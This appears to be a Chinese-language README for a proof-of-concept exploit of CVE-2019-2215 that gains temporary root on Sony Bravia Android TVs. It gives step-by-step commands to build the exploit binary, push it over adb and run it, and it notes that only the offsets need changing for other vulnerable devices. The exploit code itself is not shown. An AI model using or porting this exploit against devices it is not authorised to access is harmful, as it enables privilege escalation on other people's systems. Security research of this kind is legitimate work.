通过 CVE-2019-2215 为 Bravia 电视获取临时 Root。
演示一种仅利用内核内存读/写权限提升的攻击,最终获得临时 Root shell。
该工具适用于运行 Android 8(PKG6.0724)固件、内核版本为 4.9.51 的 Sony Bravia 电视设备。
要使该工具在其他受相同漏洞影响的设备和/或内核上运行,需要查找并更改某些偏移量。正如 Project Zero 错误跟踪器 上所述,这并不十分困难。
本工具及其源代码仅供文档和教育目的使用。
使用此工具可能导致您的设备变砖。除非您清楚自己在做什么,否则请勿尝试。
# Download the Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20b-linux-x86_64.zip
# Extract the NDK and set its path as $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20b-linux-x86_64.zip
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20b
# Clone the `CVE-2019-2215` git repository and `cd` into it.
user@host:~$ git clone https://github.com/LIznzn/CVE-2019-2215.git
user@host:~$ cd CVE-2019-2215
# Compile the binary.
user@host:~/CVE-2019-2215$ $ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang poc-bravia.c -static -o poc-bravia
# Push binary to device.
user@host:~/CVE-2019-2215$ adb push ./poc-bravia /data/local/tmp/
# Use ADB Shell.
user@host:~/CVE-2019-2215$ adb shell
# Run it.
BRAVIA_4K_UR1:/ $ cd /data/local/tmp
BRAVIA_4K_UR1:/data/local/tmp $ chmod 755 poc-bravia
BRAVIA_4K_UR1:/data/local/tmp $ ./poc-bravia